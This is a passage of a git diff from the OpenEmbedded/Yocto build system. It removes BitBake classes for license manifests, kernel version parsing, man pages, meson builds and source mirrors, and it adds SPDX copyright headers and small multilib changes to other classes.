-#
-# We need to allow the other packages to be greedy with what they
-# want out of /usr/bin and /usr/sbin before ${PN}-bin gets greedy.
-#
-PACKAGE_BEFORE_PN = "${PN}-bin"
diff --git a/meta/classes/license_image.bbclass b/meta/classes/license_image.bbclass
deleted file mode 100644
index a8c72da3cb..0000000000
--- a/meta/classes/license_image.bbclass
+++ /dev/null
@@ -1,256 +0,0 @@
-python write_package_manifest() {
- # Get list of installed packages
- license_image_dir = d.expand('${LICENSE_DIRECTORY}/${IMAGE_NAME}')
- bb.utils.mkdirhier(license_image_dir)
- from oe.rootfs import image_list_installed_packages
- from oe.utils import format_pkg_list
-
- pkgs = image_list_installed_packages(d)
- output = format_pkg_list(pkgs)
- open(os.path.join(license_image_dir, 'package.manifest'),
- 'w+').write(output)
-}
-
-python license_create_manifest() {
- import oe.packagedata
- from oe.rootfs import image_list_installed_packages
-
- build_images_from_feeds = d.getVar('BUILD_IMAGES_FROM_FEEDS')
- if build_images_from_feeds == "1":
- return 0
-
- pkg_dic = {}
- for pkg in sorted(image_list_installed_packages(d)):
- pkg_info = os.path.join(d.getVar('PKGDATA_DIR'),
- 'runtime-reverse', pkg)
- pkg_name = os.path.basename(os.readlink(pkg_info))
-
- pkg_dic[pkg_name] = oe.packagedata.read_pkgdatafile(pkg_info)
- if not "LICENSE" in pkg_dic[pkg_name].keys():
- pkg_lic_name = "LICENSE_" + pkg_name
- pkg_dic[pkg_name]["LICENSE"] = pkg_dic[pkg_name][pkg_lic_name]
-
- rootfs_license_manifest = os.path.join(d.getVar('LICENSE_DIRECTORY'),
- d.getVar('IMAGE_NAME'), 'license.manifest')
- write_license_files(d, rootfs_license_manifest, pkg_dic, rootfs=True)
-}
-
-def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
- import re
- import stat
-
- bad_licenses = (d.getVar("INCOMPATIBLE_LICENSE") or "").split()
- bad_licenses = [canonical_license(d, l) for l in bad_licenses]
- bad_licenses = expand_wildcard_licenses(d, bad_licenses)
-
- whitelist = []
- for lic in bad_licenses:
- whitelist.extend((d.getVar("WHITELIST_" + lic) or "").split())
-
- with open(license_manifest, "w") as license_file:
- for pkg in sorted(pkg_dic):
- if bad_licenses and pkg not in whitelist:
- try:
- licenses = incompatible_pkg_license(d, bad_licenses, pkg_dic[pkg]["LICENSE"])
- if licenses:
- bb.fatal("Package %s cannot be installed into the image because it has incompatible license(s): %s" %(pkg, ' '.join(licenses)))
- (pkg_dic[pkg]["LICENSE"], pkg_dic[pkg]["LICENSES"]) = \
- oe.license.manifest_licenses(pkg_dic[pkg]["LICENSE"],
- bad_licenses, canonical_license, d)
- except oe.license.LicenseError as exc:
- bb.fatal('%s: %s' % (d.getVar('P'), exc))
- else:
- pkg_dic[pkg]["LICENSES"] = re.sub(r'[|&()*]', ' ', pkg_dic[pkg]["LICENSE"])
- pkg_dic[pkg]["LICENSES"] = re.sub(r' *', ' ', pkg_dic[pkg]["LICENSES"])
- pkg_dic[pkg]["LICENSES"] = pkg_dic[pkg]["LICENSES"].split()
- if pkg in whitelist:
- bb.warn("Including %s with an incompatible license %s into the image, because it has been whitelisted." %(pkg, pkg_dic[pkg]["LICENSE"]))
-
- if not "IMAGE_MANIFEST" in pkg_dic[pkg]:
- # Rootfs manifest
- license_file.write("PACKAGE NAME: %s\n" % pkg)
- license_file.write("PACKAGE VERSION: %s\n" % pkg_dic[pkg]["PV"])
- license_file.write("RECIPE NAME: %s\n" % pkg_dic[pkg]["PN"])
- license_file.write("LICENSE: %s\n\n" % pkg_dic[pkg]["LICENSE"])
-
- # If the package doesn't contain any file, that is, its size is 0, the license
- # isn't relevant as far as the final image is concerned. So doing license check
- # doesn't make much sense, skip it.
- if pkg_dic[pkg]["PKGSIZE_%s" % pkg] == "0":
- continue
- else:
- # Image manifest
- license_file.write("RECIPE NAME: %s\n" % pkg_dic[pkg]["PN"])
- license_file.write("VERSION: %s\n" % pkg_dic[pkg]["PV"])
- license_file.write("LICENSE: %s\n" % pkg_dic[pkg]["LICENSE"])
- license_file.write("FILES: %s\n\n" % pkg_dic[pkg]["FILES"])
-
- for lic in pkg_dic[pkg]["LICENSES"]:
- lic_file = os.path.join(d.getVar('LICENSE_DIRECTORY'),
- pkg_dic[pkg]["PN"], "generic_%s" %
- re.sub(r'\+', '', lic))
- # add explicity avoid of CLOSED license because isn't generic
- if lic == "CLOSED":
- continue
-
- if not os.path.exists(lic_file):
- bb.warn("The license listed %s was not in the "\
- "licenses collected for recipe %s"
- % (lic, pkg_dic[pkg]["PN"]))
-
- # Two options here:
- # - Just copy the manifest
- # - Copy the manifest and the license directories
- # With both options set we see a .5 M increase in core-image-minimal
- copy_lic_manifest = d.getVar('COPY_LIC_MANIFEST')
- copy_lic_dirs = d.getVar('COPY_LIC_DIRS')
- if rootfs and copy_lic_manifest == "1":
- rootfs_license_dir = os.path.join(d.getVar('IMAGE_ROOTFS'),
- 'usr', 'share', 'common-licenses')
- bb.utils.mkdirhier(rootfs_license_dir)
- rootfs_license_manifest = os.path.join(rootfs_license_dir,
- os.path.split(license_manifest)[1])
- if not os.path.exists(rootfs_license_manifest):
- oe.path.copyhardlink(license_manifest, rootfs_license_manifest)
-
- if copy_lic_dirs == "1":
- for pkg in sorted(pkg_dic):
- pkg_rootfs_license_dir = os.path.join(rootfs_license_dir, pkg)
- bb.utils.mkdirhier(pkg_rootfs_license_dir)
- pkg_license_dir = os.path.join(d.getVar('LICENSE_DIRECTORY'),
- pkg_dic[pkg]["PN"])
-
- pkg_manifest_licenses = [canonical_license(d, lic) \
- for lic in pkg_dic[pkg]["LICENSES"]]
-
- licenses = os.listdir(pkg_license_dir)
- for lic in licenses:
- rootfs_license = os.path.join(rootfs_license_dir, lic)
- pkg_license = os.path.join(pkg_license_dir, lic)
- pkg_rootfs_license = os.path.join(pkg_rootfs_license_dir, lic)
-
- if re.match(r"^generic_.*$", lic):
- generic_lic = canonical_license(d,
- re.search(r"^generic_(.*)$", lic).group(1))
-
- # Do not copy generic license into package if isn't
- # declared into LICENSES of the package.
- if not re.sub(r'\+$', '', generic_lic) in \
- [re.sub(r'\+', '', lic) for lic in \
- pkg_manifest_licenses]:
- continue
-
- if oe.license.license_ok(generic_lic,
- bad_licenses) == False:
- continue
-
- if not os.path.exists(rootfs_license):
- oe.path.copyhardlink(pkg_license, rootfs_license)
-
- if not os.path.exists(pkg_rootfs_license):
- os.symlink(os.path.join('..', lic), pkg_rootfs_license)
- else:
- if (oe.license.license_ok(canonical_license(d,
- lic), bad_licenses) == False or
- os.path.exists(pkg_rootfs_license)):
- continue
-
- oe.path.copyhardlink(pkg_license, pkg_rootfs_license)
- # Fixup file ownership and permissions
- for walkroot, dirs, files in os.walk(rootfs_license_dir):
- for f in files:
- p = os.path.join(walkroot, f)
- os.lchown(p, 0, 0)
- if not os.path.islink(p):
- os.chmod(p, stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IROTH)
- for dir in dirs:
- p = os.path.join(walkroot, dir)
- os.lchown(p, 0, 0)
- os.chmod(p, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH)
-
-
-
-def license_deployed_manifest(d):
- """
- Write the license manifest for the deployed recipes.
- The deployed recipes usually includes the bootloader
- and extra files to boot the target.
- """
-
- dep_dic = {}
- man_dic = {}
- lic_dir = d.getVar("LICENSE_DIRECTORY")
-
- dep_dic = get_deployed_dependencies(d)
- for dep in dep_dic.keys():
- man_dic[dep] = {}
- # It is necessary to mark this will be used for image manifest
- man_dic[dep]["IMAGE_MANIFEST"] = True
- man_dic[dep]["PN"] = dep
- man_dic[dep]["FILES"] = \
- " ".join(get_deployed_files(dep_dic[dep]))
- with open(os.path.join(lic_dir, dep, "recipeinfo"), "r") as f:
- for line in f.readlines():
- key,val = line.split(": ", 1)
- man_dic[dep][key] = val[:-1]
-
- lic_manifest_dir = os.path.join(d.getVar('LICENSE_DIRECTORY'),
- d.getVar('IMAGE_NAME'))
- bb.utils.mkdirhier(lic_manifest_dir)
- image_license_manifest = os.path.join(lic_manifest_dir, 'image_license.manifest')
- write_license_files(d, image_license_manifest, man_dic, rootfs=False)
-
-def get_deployed_dependencies(d):
- """
- Get all the deployed dependencies of an image
- """
-
- deploy = {}
- # Get all the dependencies for the current task (rootfs).
- taskdata = d.getVar("BB_TASKDEPDATA", False)
- depends = list(set([dep[0] for dep
- in list(taskdata.values())
- if not dep[0].endswith("-native")]))
-
- # To verify what was deployed it checks the rootfs dependencies against
- # the SSTATE_MANIFESTS for "deploy" task.
- # The manifest file name contains the arch. Because we are not running
- # in the recipe context it is necessary to check every arch used.
- sstate_manifest_dir = d.getVar("SSTATE_MANIFESTS")
- archs = list(set(d.getVar("SSTATE_ARCHS").split()))
- for dep in depends:
- for arch in archs:
- sstate_manifest_file = os.path.join(sstate_manifest_dir,
- "manifest-%s-%s.deploy" % (arch, dep))
- if os.path.exists(sstate_manifest_file):
- deploy[dep] = sstate_manifest_file
- break
-
- return deploy
-get_deployed_dependencies[vardepsexclude] = "BB_TASKDEPDATA"
-
-def get_deployed_files(man_file):
- """
- Get the files deployed from the sstate manifest
- """
-
- dep_files = []
- excluded_files = []
- with open(man_file, "r") as manifest:
- all_files = manifest.read()
- for f in all_files.splitlines():
- if ((not (os.path.islink(f) or os.path.isdir(f))) and
- not os.path.basename(f) in excluded_files):
- dep_files.append(os.path.basename(f))
- return dep_files
-
-ROOTFS_POSTPROCESS_COMMAND_prepend = "write_package_manifest; license_create_manifest; "
-do_rootfs[recrdeptask] += "do_populate_lic"
-
-python do_populate_lic_deploy() {
- license_deployed_manifest(d)
-}
-
-addtask populate_lic_deploy before do_build after do_image_complete
-do_populate_lic_deploy[recrdeptask] += "do_populate_lic do_deploy"
-
diff --git a/meta/classes/linux-kernel-base.bbclass b/meta/classes/linux-kernel-base.bbclass
deleted file mode 100644
index ba59222c24..0000000000
--- a/meta/classes/linux-kernel-base.bbclass
+++ /dev/null
@@ -1,41 +0,0 @@
-# parse kernel ABI version out of <linux/version.h>
-def get_kernelversion_headers(p):
- import re
-
- fn = p + '/include/linux/utsrelease.h'
- if not os.path.isfile(fn):
- # after 2.6.33-rc1
- fn = p + '/include/generated/utsrelease.h'
- if not os.path.isfile(fn):
- fn = p + '/include/linux/version.h'
-
- try:
- f = open(fn, 'r')
- except IOError:
- return None
-
- l = f.readlines()
- f.close()
- r = re.compile("#define UTS_RELEASE \"(.*)\"")
- for s in l:
- m = r.match(s)
- if m:
- return m.group(1)
- return None
-
-
-def get_kernelversion_file(p):
- fn = p + '/kernel-abiversion'
-
- try:
- with open(fn, 'r') as f:
- return f.readlines()[0].strip()
- except IOError:
- return None
-
-def linux_module_packages(s, d):
- suffix = ""
- return " ".join(map(lambda s: "kernel-module-%s%s" % (s.lower().replace('_', '-').replace('@', '+'), suffix), s.split()))
-
-# that's all
-
diff --git a/meta/classes/manpages.bbclass b/meta/classes/manpages.bbclass
deleted file mode 100644
index 1e66780646..0000000000
--- a/meta/classes/manpages.bbclass
+++ /dev/null
@@ -1,44 +0,0 @@
-# Inherit this class to enable or disable building and installation of manpages
-# depending on whether 'api-documentation' is in DISTRO_FEATURES. Such building
-# tends to pull in the entire XML stack and other tools, so it's not enabled
-# by default.
-PACKAGECONFIG_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'manpages', '', d)}"
-
-inherit qemu
-
-# usually manual files are packaged to ${PN}-doc except man-pages
-MAN_PKG ?= "${PN}-doc"
-
-# only add man-db to RDEPENDS when manual files are built and installed
-RDEPENDS_${MAN_PKG} += "${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'man-db', '', d)}"
-
-pkg_postinst_append_${MAN_PKG} () {
- # only update manual page index caches when manual files are built and installed
- if ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'true', 'false', d)}; then
- if test -n "$D"; then
- if ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'true','false', d)}; then
- sed "s:\(\s\)/:\1$D/:g" $D${sysconfdir}/man_db.conf | ${@qemu_run_binary(d, '$D', '${bindir}/mandb')} -C - -u -q $D${mandir}
- chown -R root:root $D${mandir}
- mkdir -p $D${localstatedir}/cache/man
- cd $D${mandir}
- find . -name index.db | while read index; do
- mkdir -p $D${localstatedir}/cache/man/$(dirname ${index})
- mv ${index} $D${localstatedir}/cache/man/${index}
- chown man:man $D${localstatedir}/cache/man/${index}
- done
- cd -
- else
- $INTERCEPT_DIR/postinst_intercept delay_to_first_boot ${PKG} mlprefix=${MLPREFIX}
- fi
- else
- mandb -q
- fi
- fi
-}
-
-pkg_postrm_append_${MAN_PKG} () {
- # only update manual page index caches when manual files are built and installed
- if ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'true', 'false', d)}; then
- mandb -q
- fi
-}
diff --git a/meta/classes/mcextend.bbclass b/meta/classes/mcextend.bbclass
index 0f8f962298..a489eeb3c7 100644
--- a/meta/classes/mcextend.bbclass
+++ b/meta/classes/mcextend.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
python mcextend_virtclass_handler () {
cls = e.data.getVar("BBEXTENDCURR")
variant = e.data.getVar("BBEXTENDVARIANT")
diff --git a/meta/classes/meson.bbclass b/meta/classes/meson.bbclass
deleted file mode 100644
index 83aa854b7e..0000000000
--- a/meta/classes/meson.bbclass
+++ /dev/null
@@ -1,187 +0,0 @@
-inherit siteinfo python3native
-
-DEPENDS_append = " meson-native ninja-native"
-
-# As Meson enforces out-of-tree builds we can just use cleandirs
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-# Where the meson.build build configuration is
-MESON_SOURCEPATH = "${S}"
-
-def noprefix(var, d):
- return d.getVar(var).replace(d.getVar('prefix') + '/', '', 1)
-
-MESON_BUILDTYPE ?= "plain"
-MESONOPTS = " --prefix ${prefix} \
- --buildtype ${MESON_BUILDTYPE} \
- --bindir ${@noprefix('bindir', d)} \
- --sbindir ${@noprefix('sbindir', d)} \
- --datadir ${@noprefix('datadir', d)} \
- --libdir ${@noprefix('libdir', d)} \
- --libexecdir ${@noprefix('libexecdir', d)} \
- --includedir ${@noprefix('includedir', d)} \
- --mandir ${@noprefix('mandir', d)} \
- --infodir ${@noprefix('infodir', d)} \
- --sysconfdir ${sysconfdir} \
- --localstatedir ${localstatedir} \
- --sharedstatedir ${sharedstatedir} \
- --wrap-mode nodownload"
-
-EXTRA_OEMESON_append = " ${PACKAGECONFIG_CONFARGS}"
-
-MESON_CROSS_FILE = ""
-MESON_CROSS_FILE_class-target = "--cross-file ${WORKDIR}/meson.cross"
-MESON_CROSS_FILE_class-nativesdk = "--cross-file ${WORKDIR}/meson.cross"
-
-def meson_array(var, d):
- items = d.getVar(var).split()
- return repr(items[0] if len(items) == 1 else items)
-
-# Map our ARCH values to what Meson expects:
-# http://mesonbuild.com/Reference-tables.html#cpu-families
-def meson_cpu_family(var, d):
- import re
- arch = d.getVar(var)
- if arch == 'powerpc':
- return 'ppc'
- elif arch == 'powerpc64' or arch == 'powerpc64le':
- return 'ppc64'
- elif arch == 'armeb':
- return 'arm'
- elif arch == 'aarch64_be':
- return 'aarch64'
- elif arch == 'mipsel':
- return 'mips'
- elif arch == 'mips64el':
- return 'mips64'
- elif re.match(r"i[3-6]86", arch):
- return "x86"
- elif arch == "microblazeel":
- return "microblaze"
- else:
- return arch
-
-# Map our OS values to what Meson expects:
-# https://mesonbuild.com/Reference-tables.html#operating-system-names
-def meson_operating_system(var, d):
- os = d.getVar(var)
- if "mingw" in os:
- return "windows"
- # avoid e.g 'linux-gnueabi'
- elif "linux" in os:
- return "linux"
- else:
- return os
-
-def meson_endian(prefix, d):
- arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
- sitedata = siteinfo_data_for_machine(arch, os, d)
- if "endian-little" in sitedata:
- return "little"
- elif "endian-big" in sitedata:
- return "big"
- else:
- bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
-
-addtask write_config before do_configure
-do_write_config[vardeps] += "CC CXX LD AR NM STRIP READELF CFLAGS CXXFLAGS LDFLAGS"
-do_write_config() {
- # This needs to be Py to split the args into single-element lists
- cat >${WORKDIR}/meson.cross <<EOF
-[binaries]
-c = ${@meson_array('CC', d)}
-cpp = ${@meson_array('CXX', d)}
-ar = ${@meson_array('AR', d)}
-nm = ${@meson_array('NM', d)}
-strip = ${@meson_array('STRIP', d)}
-readelf = ${@meson_array('READELF', d)}
-pkgconfig = 'pkg-config'
-llvm-config = 'llvm-config${LLVMVERSION}'
-cups-config = 'cups-config'
-
-[properties]
-needs_exe_wrapper = true
-c_args = ${@meson_array('CFLAGS', d)}
-c_link_args = ${@meson_array('LDFLAGS', d)}
-cpp_args = ${@meson_array('CXXFLAGS', d)}
-cpp_link_args = ${@meson_array('LDFLAGS', d)}
-gtkdoc_exe_wrapper = '${B}/gtkdoc-qemuwrapper'
-
-[host_machine]
-system = '${@meson_operating_system('HOST_OS', d)}'
-cpu_family = '${@meson_cpu_family('HOST_ARCH', d)}'
-cpu = '${HOST_ARCH}'
-endian = '${@meson_endian('HOST', d)}'
-
-[target_machine]
-system = '${@meson_operating_system('TARGET_OS', d)}'
-cpu_family = '${@meson_cpu_family('TARGET_ARCH', d)}'
-cpu = '${TARGET_ARCH}'
-endian = '${@meson_endian('TARGET', d)}'
-EOF
-}
-
-CONFIGURE_FILES = "meson.build"
-
-meson_do_configure() {
- # Meson requires this to be 'bfd, 'lld' or 'gold' from 0.53 onwards
- # https://github.com/mesonbuild/meson/commit/ef9aeb188ea2bc7353e59916c18901cde90fa2b3
- unset LD
-
- # Work around "Meson fails if /tmp is mounted with noexec #2972"
- mkdir -p "${B}/meson-private/tmp"
- export TMPDIR="${B}/meson-private/tmp"
- bbnote Executing meson ${EXTRA_OEMESON}...
- if ! meson ${MESONOPTS} "${MESON_SOURCEPATH}" "${B}" ${MESON_CROSS_FILE} ${EXTRA_OEMESON}; then
- bbfatal_log meson failed
- fi
-}
-
-override_native_tools() {
- # Set these so that meson uses the native tools for its build sanity tests,
- # which require executables to be runnable. The cross file will still
- # override these for the target build.
- export CC="${BUILD_CC}"
- export CXX="${BUILD_CXX}"
- export LD="${BUILD_LD}"
- export AR="${BUILD_AR}"
- export STRIP="${BUILD_STRIP}"
- # These contain *target* flags but will be used as *native* flags. The
- # correct native flags will be passed via -Dc_args and so on, unset them so
- # they don't interfere with tools invoked by Meson (such as g-ir-scanner)
- unset CPPFLAGS CFLAGS CXXFLAGS LDFLAGS
-}
-
-meson_do_configure_prepend_class-target() {
- override_native_tools
-}
-
-meson_do_configure_prepend_class-nativesdk() {
- override_native_tools
-}
-
-meson_do_configure_prepend_class-native() {
- export PKG_CONFIG="pkg-config-native"
-}
-
-python meson_do_qa_configure() {
- import re
- warn_re = re.compile(r"^WARNING: Cross property (.+) is using default value (.+)$", re.MULTILINE)
- with open(d.expand("${B}/meson-logs/meson-log.txt")) as logfile:
- log = logfile.read()
- for (prop, value) in warn_re.findall(log):
- bb.warn("Meson cross property %s used without explicit assignment, defaulting to %s" % (prop, value))
-}
-do_configure[postfuncs] += "meson_do_qa_configure"
-
-do_compile[progress] = "outof:^\[(\d+)/(\d+)\]\s+"
-meson_do_compile() {
- ninja -v ${PARALLEL_MAKE}
-}
-
-meson_do_install() {
- DESTDIR='${D}' ninja -v ${PARALLEL_MAKEINST} install
-}
-
-EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes/meta.bbclass b/meta/classes/meta.bbclass
deleted file mode 100644
index 5e6890238b..0000000000
--- a/meta/classes/meta.bbclass
+++ /dev/null
@@ -1,4 +0,0 @@
-
-PACKAGES = ""
-
-do_build[recrdeptask] = "do_build"
diff --git a/meta/classes/metadata_scm.bbclass b/meta/classes/metadata_scm.bbclass
index 58bb4c555a..6842119b6b 100644
--- a/meta/classes/metadata_scm.bbclass
+++ b/meta/classes/metadata_scm.bbclass
@@ -1,42 +1,10 @@
-METADATA_BRANCH ?= "${@base_detect_branch(d)}"
-METADATA_REVISION ?= "${@base_detect_revision(d)}"
-
-def base_detect_revision(d):
- path = base_get_scmbasepath(d)
- return base_get_metadata_git_revision(path, d)
-
-def base_detect_branch(d):
- path = base_get_scmbasepath(d)
- return base_get_metadata_git_branch(path, d)
-
-def base_get_scmbasepath(d):
- return os.path.join(d.getVar('COREBASE'), 'meta')
-
-def base_get_metadata_svn_revision(path, d):
- # This only works with older subversion. For newer versions
- # this function will need to be fixed by someone interested
- revision = "<unknown>"
- try:
- with open("%s/.svn/entries" % path) as f:
- revision = f.readlines()[3].strip()
- except (IOError, IndexError):
- pass
- return revision
-
-def base_get_metadata_git_branch(path, d):
- import bb.process
-
- try:
- rev, _ = bb.process.run('git rev-parse --abbrev-ref HEAD', cwd=path)
- except bb.process.ExecutionError:
- rev = '<unknown>'
- return rev.strip()
-
-def base_get_metadata_git_revision(path, d):
- import bb.process
-
- try:
- rev, _ = bb.process.run('git rev-parse HEAD', cwd=path)
- except bb.process.ExecutionError:
- rev = '<unknown>'
- return rev.strip()
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+METADATA_BRANCH := "${@oe.buildcfg.detect_branch(d)}"
+METADATA_BRANCH[vardepvalue] = "${METADATA_BRANCH}"
+METADATA_REVISION := "${@oe.buildcfg.detect_revision(d)}"
+METADATA_REVISION[vardepvalue] = "${METADATA_REVISION}"
diff --git a/meta/classes/migrate_localcount.bbclass b/meta/classes/migrate_localcount.bbclass
index 810a541316..1d00c110e2 100644
--- a/meta/classes/migrate_localcount.bbclass
+++ b/meta/classes/migrate_localcount.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
PRSERV_DUMPDIR ??= "${LOG_DIR}/db"
LOCALCOUNT_DUMPFILE ??= "${PRSERV_DUMPDIR}/prserv-localcount-exports.inc"
diff --git a/meta/classes/mirrors.bbclass b/meta/classes/mirrors.bbclass
deleted file mode 100644
index 87bba41472..0000000000
--- a/meta/classes/mirrors.bbclass
+++ /dev/null
@@ -1,76 +0,0 @@
-MIRRORS += "\
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian/20180310T215105Z/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20120328T092752Z/debian/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20110127T084257Z/debian/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20090802T004153Z/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.de.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.au.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.cl.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hr.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.fi.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hk.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hu.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.ie.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.it.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.jp.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.no.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.pl.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.ro.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.si.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.es.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.se.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.tr.debian.org/debian/pool \n \
-${GNU_MIRROR} https://mirrors.kernel.org/gnu \n \
-${KERNELORG_MIRROR} http://www.kernel.org/pub \n \
-${GNUPG_MIRROR} ftp://ftp.gnupg.org/gcrypt \n \
-${GNUPG_MIRROR} ftp://ftp.franken.de/pub/crypt/mirror/ftp.gnupg.org/gcrypt \n \
-${GNUPG_MIRROR} ftp://mirrors.dotsrc.org/gcrypt \n \
-ftp://dante.ctan.org/tex-archive ftp://ftp.fu-berlin.de/tex/CTAN \n \
-ftp://dante.ctan.org/tex-archive http://sunsite.sut.ac.jp/pub/archives/ctan/ \n \
-ftp://dante.ctan.org/tex-archive http://ctan.unsw.edu.au/ \n \
-ftp://ftp.gnutls.org/gcrypt/gnutls ${GNUPG_MIRROR}/gnutls \n \
-http://ftp.info-zip.org/pub/infozip/src/ http://mirror.switch.ch/ftp/mirror/infozip/src/ \n \
-http://ftp.info-zip.org/pub/infozip/src/ ftp://sunsite.icm.edu.pl/pub/unix/archiving/info-zip/src/ \n \
-http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/ http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/OLD/ \n \
-${APACHE_MIRROR} http://www.us.apache.org/dist \n \
-${APACHE_MIRROR} http://archive.apache.org/dist \n \
-http://downloads.sourceforge.net/watchdog/ http://fossies.org/linux/misc/ \n \
-${SAVANNAH_GNU_MIRROR} http://download-mirror.savannah.gnu.org/releases \n \
-${SAVANNAH_NONGNU_MIRROR} http://download-mirror.savannah.nongnu.org/releases \n \
-ftp://sourceware.org/pub http://mirrors.kernel.org/sourceware \n \
-ftp://sourceware.org/pub http://gd.tuwien.ac.at/gnu/sourceware \n \
-ftp://sourceware.org/pub http://ftp.gwdg.de/pub/linux/sources.redhat.com/sourceware \n \
-cvs://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-svn://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-git://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-hg://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-bzr://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-p4://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-osc://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-https?$://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-ftp://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-npm://.*/?.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-cvs://.*/.* http://sources.openembedded.org/ \n \
-svn://.*/.* http://sources.openembedded.org/ \n \
-git://.*/.* http://sources.openembedded.org/ \n \
-hg://.*/.* http://sources.openembedded.org/ \n \
-bzr://.*/.* http://sources.openembedded.org/ \n \
-p4://.*/.* http://sources.openembedded.org/ \n \
-osc://.*/.* http://sources.openembedded.org/ \n \
-https?$://.*/.* http://sources.openembedded.org/ \n \
-ftp://.*/.* http://sources.openembedded.org/ \n \
-npm://.*/?.* http://sources.openembedded.org/ \n \
-${CPAN_MIRROR} http://cpan.metacpan.org/ \n \
-${CPAN_MIRROR} http://search.cpan.org/CPAN/ \n \
-"
-
-# Use MIRRORS to provide git repo fallbacks using the https protocol, for cases
-# where git native protocol fetches may fail due to local firewall rules, etc.
-
-MIRRORS += "\
-git://salsa.debian.org/.* git://salsa.debian.org/PATH;protocol=https \n \
-git://git.gnome.org/.* git://gitlab.gnome.org/GNOME/PATH;protocol=https \n \
-git://git.savannah.gnu.org/.* git://git.savannah.gnu.org/git/PATH;protocol=https \n \
-git://git.yoctoproject.org/.* git://git.yoctoproject.org/git/PATH;protocol=https \n \
-git://.*/.* git://HOST/PATH;protocol=https \n \
-"
diff --git a/meta/classes/multilib.bbclass b/meta/classes/multilib.bbclass
index 9f726e4537..b6c09969b1 100644
--- a/meta/classes/multilib.bbclass
+++ b/meta/classes/multilib.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
python multilib_virtclass_handler () {
cls = e.data.getVar("BBEXTENDCURR")
variant = e.data.getVar("BBEXTENDVARIANT")
@@ -24,6 +30,9 @@ python multilib_virtclass_handler () {
if val:
e.data.setVar(name + "_MULTILIB_ORIGINAL", val)
+ # We nearly don't need this but dependencies on NON_MULTILIB_RECIPES don't work without it
+ d.setVar("SSTATE_ARCHS_TUNEPKG", "${@all_multilib_tune_values(d, 'TUNE_PKGARCH')}")
+
overrides = e.data.getVar("OVERRIDES", False)
pn = e.data.getVar("PN", False)
overrides = overrides.replace("pn-${PN}", "pn-${PN}:pn-" + pn)
@@ -35,7 +44,7 @@ python multilib_virtclass_handler () {
e.data.setVar('SDKTARGETSYSROOT', e.data.getVar('SDKTARGETSYSROOT'))
override = ":virtclass-multilib-" + variant
e.data.setVar("OVERRIDES", e.data.getVar("OVERRIDES", False) + override)
- target_vendor = e.data.getVar("TARGET_VENDOR_" + "virtclass-multilib-" + variant, False)
+ target_vendor = e.data.getVar("TARGET_VENDOR:" + "virtclass-multilib-" + variant, False)
if target_vendor:
e.data.setVar("TARGET_VENDOR", target_vendor)
return
@@ -45,6 +54,7 @@ python multilib_virtclass_handler () {
e.data.setVar("RECIPE_SYSROOT", "${WORKDIR}/recipe-sysroot")
e.data.setVar("STAGING_DIR_TARGET", "${WORKDIR}/recipe-sysroot")
e.data.setVar("STAGING_DIR_HOST", "${WORKDIR}/recipe-sysroot")
+ e.data.setVar("RECIPE_SYSROOT_MANIFEST_SUBDIR", "nativesdk-" + variant)
e.data.setVar("MLPREFIX", variant + "-")
override = ":virtclass-multilib-" + variant
e.data.setVar("OVERRIDES", e.data.getVar("OVERRIDES", False) + override)
